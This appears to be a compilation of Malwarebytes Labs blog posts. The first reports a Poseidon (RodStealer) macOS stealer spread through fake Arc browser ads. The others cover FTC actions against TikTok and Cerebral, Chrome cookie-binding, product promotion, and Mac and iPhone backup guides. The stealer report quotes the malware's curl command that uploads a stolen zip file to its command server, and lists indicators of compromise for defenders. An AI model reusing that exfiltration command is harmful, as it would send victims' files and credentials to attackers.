On June 24, we observed a new campaign distributing a stealer targeting Mac users via malicious Google ads for the Arc browser. This is the second time in the past couple of months where we see Arc being used as a lure, certainly a sign of its popularity. It was previously used to drop a Windows RAT, also via Google ads.

The macOS stealer being dropped in this latest campaign is actively being developed as an Atomic Stealer competitor, with a large part of its code base being the same as its predecessor. Malwarebytes was previously tracking this payload as OSX.RodStealer, in reference to its author, Rodrigo4. The threat actor rebranded the new project ‘Poseidon’ and added a few new features such as looting VPN configurations.

In this blog post, we review the advertisement of the new Poseidon campaign from the cyber crime forum announcement, to the distribution of the new Mac malware via malvertising.

Rodrigo4 launches new PR campaign

A threat actor known by his handle as Rodrigo4 in the XSS underground forum has been working on a stealer with similar features and code base as the notorious Atomic Stealer (AMOS). The service consists of a malware panel with statistics and a builder with custom name, icon and AppleScript. The stealer offers functionalities reminescent of Atomic Stealer including: file grabber, crypto wallet extractor, password manager (Bitwarden, KeePassXC) stealer, and browser data collector.

In a post last edited on Sunday, June 23, Rodrigo4 announced a new branding for their project:

Hello everyone, we have released the V4 update and there are quite a lot of new things.
The very first thing that catches your eye is the name of the project: Poseidon. Why is that? For PR management. In simple words, people didn’t know who we were.

Malware authors do need publicity, but we will try to stick to the facts and what we have observed in active malware delivery campaigns.

Distribution via Google ads

We saw an ad for the Arc browser belonging to ‘Coles & Co’, linking to the domain name arcthost[.]org:

People who clicked on the ad were redirected to arc-download[.]com, a completely fake site offering Arc for Mac only:

The downloaded DMG file resembles what one would expect when installing a new Mac application with the exception of the right-click to open trick to bypass security protections:

Connection to new Poseidon project

The new “Poseidon” stealer contains unfinished code that was seen by others, and also recently advertised to steal VPN configurations from Fortinet and OpenVPN:

More interesting is the data exfiltration which is revealed in the following command:

set result_send to (do shell script \"curl -X POST -H \\\"uuid: 399122bdb9844f7d934631745e22bd06\\\" -H \\\"user: H1N1_Group\\\" -H \\\"buildid: id777\\\" --data-binary @/tmp/out.zip http:// 79.137.192[.]4/p2p\")

Navigating to this IP address reveals the new Poseidon branded panel:

Conclusion

There is an active scene for Mac malware development focused on stealers. As we can see in this post, there are many contributing factors to such a criminal enterprise. The vendor needs to convince potential customers that their product is feature-rich and has low detection from antivirus software.

Seeing campaigns distributing the new malware payload confirms that the threat is real and actively targeting new victims. Staying protected against these threats requires vigilance any time you download and install a new app.

Malwarebytes for Mac will keep detecting this ‘Poseidon campaign as OSX.RodStealer and we have already shared information related to the malicious ad with Google. We highly recommend using web protection that blocks ads and malicious websites as your first line of defense. Malwarebytes Browser Guard does both effectively.

Indicators of Compromise

Google ad domain

arcthost[.]org

Decoy site

arc-download[.]com

Download URL

zestyahhdog[.]com/Arc12645413[.]dmg

Payload SHA256

c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05

C2

79.137.192[.]4/p2p

The Federal Trade Commission (FTC) has announced it’s referred a complaint against TikTok and parent company ByteDance to the Department of Justice.

The investigation originally focused on Musical.ly which was acquired by ByteDance on November 10, 2017, and merged it into TikTok.

The FTC started a compliance review of Musical.ly following a 2019 settlement with the company for violations of the Children’s Online Privacy Protection Act (COPPA). In the settlement, Musical.ly received a fine of $5.7m for collecting personal information from children without parental consent.

One of the main concerns was that Musical.ly did not ask the user’s age and later failed to go back and request age information for people who already had accounts.

COPPA requires sites and services like Musical.ly and TikTok – among other things – to get parental consent before collecting personal information from children under 13.

Musical.ly also failed to deal with complaints properly. The FTC found that—in just a two-week period in September 2016—the company received over 300 complaints from parents asking Musical.ly to delete their child’s account. However, under COPPA it’s not enough just to delete existing accounts, companies have to remove the kids’ videos and profiles from the company’s servers; Musical.ly failed to do this.

In 2022, TikTok itself faced a $28m fine for failing to protect children’s privacy after an investigation of a possible breach of the UK’s data protection laws.

In the US, TikTok agreed to pay $92 million in 2021 to settle dozens of lawsuits alleging that it harvested personal data from users, including information using facial recognition technology, without consent, and shared the data with third parties.

The FTC states that during the investigation it uncovered reasons to believe that “defendants are violating or are about to violate the law and that a proceeding is in the public interest.”

The FTC also said it usually doesn’t publicize the referral of complaints but feels it is in the public interest to do so now.

TikTok has been in the crosshairs of privacy and security professionals and politicians for years.

In June 2022,  the FCC (Federal Communications Commission), called on the CEOs of Apple and Google to remove TikTok from their app stores considering it an unacceptable national security risk because of its Chinese ownership.

In 2023, General Paul Nakasone, Director of the National Security Agency (NSA) referred to TikTok as a loaded gun in the hands of America’s TikTok-addicted youth.

Recently, we reported about the take-over of some high-profile TikTok accounts just by opening a Direct Message.

And the clock is ticking when it comes to TikTok’s presence in the US, after the US Senate has approved a bill that would effectively ban TikTok from the US unless Chinese owner ByteDance gives up its share of the still immensely popular app.

Somehow we don’t think we’ve heard the last of this.

Check your digital footprint

Malwarebytes has a new free tool for you to check how much of your personal data has been exposed online. Submit your email address (it’s best to give the one you most frequently use) to our free Digital Footprint scan and we’ll give you a report and recommendations.

The Federal Trade Commission (FTC) has reached a settlement with online mental health services company Cerebral after the company was charged with failing to secure and protect sensitive health data.

Cerebral has agreed to an order that will restrict how the company can use or disclose sensitive consumer data, as well as require it to provide consumers with a simple way to cancel services.

After a data breach in 2023 Cerebral disclosed that it had been using invisible pixel trackers from Google, Meta (Facebook), TikTok, and other third parties on its online services since October 2019.

A tracking pixel is a piece of code that website owners can place on their website. The pixel collects data that helps businesses track people and target adverts at them. That’s nice for the advertisers, but the combined information of all these pixels potentially provides a company with an almost complete picture of your browsing behavior and a lot of information about you.

The FTC statement claims that by using these tracking pixels, which are invisible to the website visitor unless they look at the underlying code, Cerebral provided the sensitive information of nearly 3.2 million consumers to these third parties.

The complaint points out that to get consumers to sign up for Cerebral’s services and to provide detailed personal data, the company claimed to offer “safe, secure, and discreet” services, saying that users’ data would be kept confidential.

Also, according to the complaint, the company specifically claimed in many instances that it would not share users’ data for marketing purposes without obtaining people’s consent.

Many organizations are unclear about how much information the social media companies behind the tracking pixels can gather. In the Notice of HIPAA Privacy Breach Cerebral disclosed that the following data were potentially exposed:

• Full name
• Phone number
• Email address
• Date of birth
• IP address
• Cerebral client ID number
• Demographic information
• Self-assessment responses and associated health information
• Subscription plan type
• Appointment dates
• Treatment details and other clinical information
• Health insurance/pharmacy benefit information

Among other penalties, Cerebral has to refund $5.1 million to customers who were impacted by deceptive cancellation practices and pay a $10 million civil penalty, limited to $2 million due to Cerebral’s inability to pay the full amount.

The number of breaches concerning health information is shocking. As required by section 13402(e)(4) of the HITECH Act, the Secretary of the US Department of Health and Human Services Office for Civil Rights publishes a list of breaches that reveal unsecured protected health information affecting 500 or more individuals.

We have reported about similar cases that involved tracking pixels. Research done by TheMarkup in June of 2022 showed that Meta’s pixel showed up on the websites of 33 of the top 100 hospitals in America.

Protecting yourself from a data breach

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

• Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened, and follow any specific advice they offer.
• Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
• Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
• Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify any contacts using a different communication channel.
• Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
• Set up identity monitoring. Identity monitoring alerts you if your personal information is found being traded illegally online, and helps you recover after.

Check your digital footprint

Malwarebytes has a new free tool for you to check how much of your personal data has been exposed online. Submit your email address (it’s best to give the one you most frequently use) to our free Digital Footprint scan and we’ll give you a report and recommendations.

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We don’t just report on threats – we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection

A list of topics we covered in the week of April 1 to April 7 of 2024

Last week on Malwarebytes Labs:

• 60% of small businesses are concerned about cybersecurity threats
• Cookie consent choices are just being ignored by some websites
• Bing ad for NordVPN leads to SecTopRAT
• Jackson County hit by ransomware, declares state of emergency
• Google patches critical vulnerability for Androids with Qualcomm chips
• Google Chrome gets ‘Device Bound Session Credentials’ to stop cookie theft
• AT&T confirms 73 million people affected by data breach
• Trusted Advisor now available for Mac, iOS, and Android
• 2024 State of Malware in Education report: Top 6 cyberthreats facing K-12 and Higher Ed
• Free VPN apps turn Android phones into criminal proxies

Stay safe!

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Our business solutions remove all remnants of ransomware and prevent you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

Google has announced the introduction of Device Bound Session Credentials (DBSC) to secure Chrome users against cookie theft.

In January we reported how hackers found a way to gain unauthorized access to Google accounts, bypassing multi-factor authentication (MFA), by stealing authentication cookies with info-stealer malware. An authentication cookie is added to a web browser after a user proves who they are by logging in. It tells a website that a user has already logged in, so they aren’t asked for their username and password over and over again. A cybercriminal with an authentication cookie for a website doesn’t need a password, because the website thinks they’ve already logged in. It doesn’t even matter if the owner of the account changes their password.

At the time, Google said it would take action:

“We routinely upgrade our defenses against such techniques and to secure users who fall victim to malware. In this instance, Google has taken action to secure any compromised accounts detected.”

However, some info stealers reportedly updated their methods to counter Google’s fraud detection measures.

The idea that malware could steal authentication cookies and send them to a criminal did not sit well with Google. In its announcement it explains that, “because of the way cookies and operating systems interact, primarily on desktop operating systems, Chrome and other browsers cannot protect them against malware that has the same level of access as the browser itself.”

So it turned to another solution. And if the simplicity of the solution is any indication for its effectiveness, then this should be a good one.

It works by using cryptography to limit the use of an authentication cookie to the device that first created it. When a user visits a website and starts a session, the browser creates two cryptographic keys—one public, one private. The private key is stored on the device in a way that is hard to export, and the public key is given to the website. The website uses the public key to verify that the browser using the authentication cookie has the private key. In order to use a stolen cookie, a thief would also need to steal the private key, so the more robust the “hard to export” bit gets, the safer your cookies will be.

Google stated in its announcement that it thinks this will substantially reduce the success rate of cookie theft malware. This would force attackers to act locally on a device, which makes on-device detection and cleanup more effective, both for anti-malware software as well as for enterprise managed devices.

As such, Device Bound Session Credentials fits in well with Google’s strategy to phase out third-party cookies.

Development of the project is done in the open at Github with the goal of DBSC becoming an open web standard. The goal is to have a fully working trial ready by the end of 2024. Google says that identity providers such as Okta, and browsers such as Microsoft Edge, have expressed interest in DBSC as they want to secure their users against cookie theft.

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

First released for Windows last year, the Malwarebytes Trusted Advisor dashboard is also now available on Mac, iOS and Android. 

Our Trusted Advisor dashboard provides an easy-to-understand assessment of your device’s security, with a single comprehensive protection score, and clear, expert-driven advice. 

In our recent report, “Everyone’s afraid of the internet, and no-one’s sure what to do about it,” we found that only half of the people surveyed feel confident they know how to stay safe online and even fewer are taking the right measures. 

So, though the fears are big, they are followed by very little action. We want to make things easy for our customers so they know what they should be doing, and how. 

Computer security can be difficult and time consuming, especially if you consider all the different devices and operating systems. We want to help our customers, whatever they use. 

Getting it right means knowing what software needs to be updated, whether your system settings are configured securely, and running active protection that can uncover hidden threats. 

Getting it wrong means leaving gaps in your defences that malware, criminal hackers, and other online threats can sneak through. 

Trusted Advisor takes away the guesswork by delivering a holistic assessment of your security and privacy in a way that’s easy to understand, making issues simple to correct. It combines the proven capabilities of Malwarebytes with the knowledge of the brightest industry experts to give you an expert assessment that puts you one step ahead of the cybercrooks. 

Protection score

At the heart of Trusted Advisor is a single, easy-to-understand protection score. If you’re rocking a 100% rating then you know you’re crushing it. 

If your score dips below 100%, we’ll explain why, and offer you a checklist of items to improve your security and boost your score. 

Trusted Advisor’s recommendations are practical and jargon-free, so they’re easy to action.

Trusted Advisor monitors various categories of information around security and privacy to assess your overall Protection Score (exact check points will depend on OS and license type):

• Real-time protection monitors your device continuously, stopping and removing threats like malware as they appear. It’s vital for keeping you safe from the most destructive threats and the most common methods of infection, so Trusted Advisor will alert you if you aren’t fully protected. 
• Software updates fix the coding flaws that cybercriminals exploit to steal data or put malware on your system. Staying up to date is one of the most important things you can do for your security, so Trusted Advisor has your back here too. 
• General settings covers settings within Malwarebytes, Operating Systems, or your network preferences. Trusted Advisor checks for settings that may not be configured correctly. For example, on iOS it ensures you have defined a passcode for your device and activated web and call protection. 
• Device scans are routine scans that seek out hidden threats on your system. Trusted Advisor will tell you if you get behind and need to run a scan manually. 
• Online privacy helps you take a proactive stance on your privacy by hiding your IP address and blocking third-party ad trackers, making you’re harder to track on the web. Trusted Advisor monitors this so you only part with the personal information you intend to. 
• Device health guards against slowdowns and other performance problems. Trusted Advisor helps you get the most out of your system so that you aren’t left guessing whether it was malware grinding your device to a halt. 

Even with an excellent score, you can’t guarantee absolute safety, though it places you in the closest proximity to it. By following our recommendations, you’ll be in the best security situation you can be.

Try it today

If you’re an existing Malwarebytes customer you will get Trusted Advisor automatically, but if you’re in a hurry, you can go to Settings > About > Check for updates and get it right now. If you aren’t, you can get Trusted Advisor by downloading the latest version of Malwarebytes.

Backing up your Mac computer doesn’t need to be intimidating.

By taking advantage of a user-friendly feature released by Apple several years ago, the entire backup process can be handled almost automatically, preserving your most important files, photos, applications, and emails from cyberthreats and mishaps.

Before starting the backup process, you will need an external storage device that can connect to your Mac with a USB or Thunderbolt cable. External storage devices, which are sometimes called external hard drives, are developed and sold by many different companies, including Lacie, SanDisk, and Western Digital.

If you do not have an external storage device, you must first get one. You should also follow Apple’s recommendation that your external storage device be twice as large as the hard drive of your Mac computer.

To find the hard drive size of your current Mac, open the System Settings app on your computer. On the left-hand rail, click General and then, in the window open to the right, click Storage.

Several statistics and options will be shown.

At the top of the Storage section, the hard drive space is shown. Here, it is 494.38 GB, or 500 GB roughly.

The Mac shown here has 500 GB of internal storage. If we were to back this Mac up, we would need to use an external storage device of 1 TB (terabyte).

Once you have your external storage device, you can begin the actual backup processs.

The simplest way to back up your Mac is with the built-in feature “Time Machine.”

First, connect your external storage device to your Mac.

Then, you need to set up that storage device as your “backup disk.” This means that, from this point forward, your external storage device will have one primary use, and that is as a backup device that syncs with Time Machine. Apple recommends that you do not use your external storage device that you are using with Time Machine for anything other than Time Machine backups.

To set up your storage device as your backup disk, follow these instructions:

Go to System Settings.  

Click on General in the left sidebar.

From here, click on Time Machine in the main window displayed to the right.

From the Time Machine menu, click Add Backup Disk or click the “Add” button (+).

From here, select your external storage device and then click Set Up Disk.

At this point in the process, you may receive two options from Time Machine:

1. If your device has other files on it, you will be asked if you want to erase the device so that it can be used solely as a backup with Time Machine. You can erase the files immediately and then continue the backup process through Time Machine. If you do not want to erase the files, you need to get a separate external storage device that will be used exclusively as a backup with Time Machine.
2. If your external storage device already has backups from a prior computer, you will be asked whether you can to keep those backups and roll them into new backups made with Time Machine. This is up to you.

From here, the backup process is nearly done.

To make a backup, simply click on Back Up Now from the Time Machine menu.

Your first backup could take a long time to complete, but know that you can continue using your computer like normal while the process happens in the background.

From here on, whenever you attach your external storage device to your Mac, Time Machine will automatically ask to make a backup of the changes to your Mac. You can also change the frequency of your backups in your Time Machine Settings.

They say the only backup you ever regret is the one you didn’t make. iPhone backups can be used to easily move your apps and data to a new phone, to recover things you’ve lost, or to fix things that have failed.

One of the most cost effective ways to backup your iPhone is to save backups to your Mac. Backups are made automatically whenever you connect your iPhone to your Mac with a lead. Be aware though that backups can take up a lot of space on your Mac, and that if your Mac is lost, stolen, or inoperable, then you won’t be able to access your iPhone backups. If you need daily backups or backups that can always be accessed from anywhere, you may prefer to backup your iPhone to iCloud.

This guide tells you how to enable backups to your Mac, and how to check that everything is working as you expect.

First, connect your iPhone or iPad to a Mac using a cable.

Open the Finder app and select your iPhone from the list of Locations.

Click General.

Under Backups, choose Back up all of the data on your iPhone to this Mac.

To encrypt your backup data and protect it with a password, select Encrypt local backup. You will be prompted for a password.

Click Back Up Now.

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We don’t just report on phone security—we provide it

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Last week on Malwarebytes Labs:

• Ransomware’s appetite for US healthcare sees known attacks double in a year
• Webinar recap: 6 critical cyberthreats in 2024 and how to counter them
• TikTok faces ban in US unless it parts ways with Chinese owner ByteDance
• Malwarebytes Premium blocks 100% of malware during external AVLab test
• ThreatDown achieves perfect score in latest AVLab assessment
• How to update outdated software on Mac endpoints: Introducing ThreatDown VPM for Mac
• Microsoft Patch Tuesday March 2024 includes critical Hyper-V flaws
• New Facebook photo rule hoax spreads
• FakeBat delivered via several active malvertising campaigns
• Ransomware review: March 2024
• Data brokers admit they’re selling information on precise location, kids, and reproductive healthcare
• Going viral shouldn’t lead to bomb threats, with Leigh Honeywell: Lock and Code S05E06

Stay safe!

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Our business solutions remove all remnants of ransomware and prevent you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.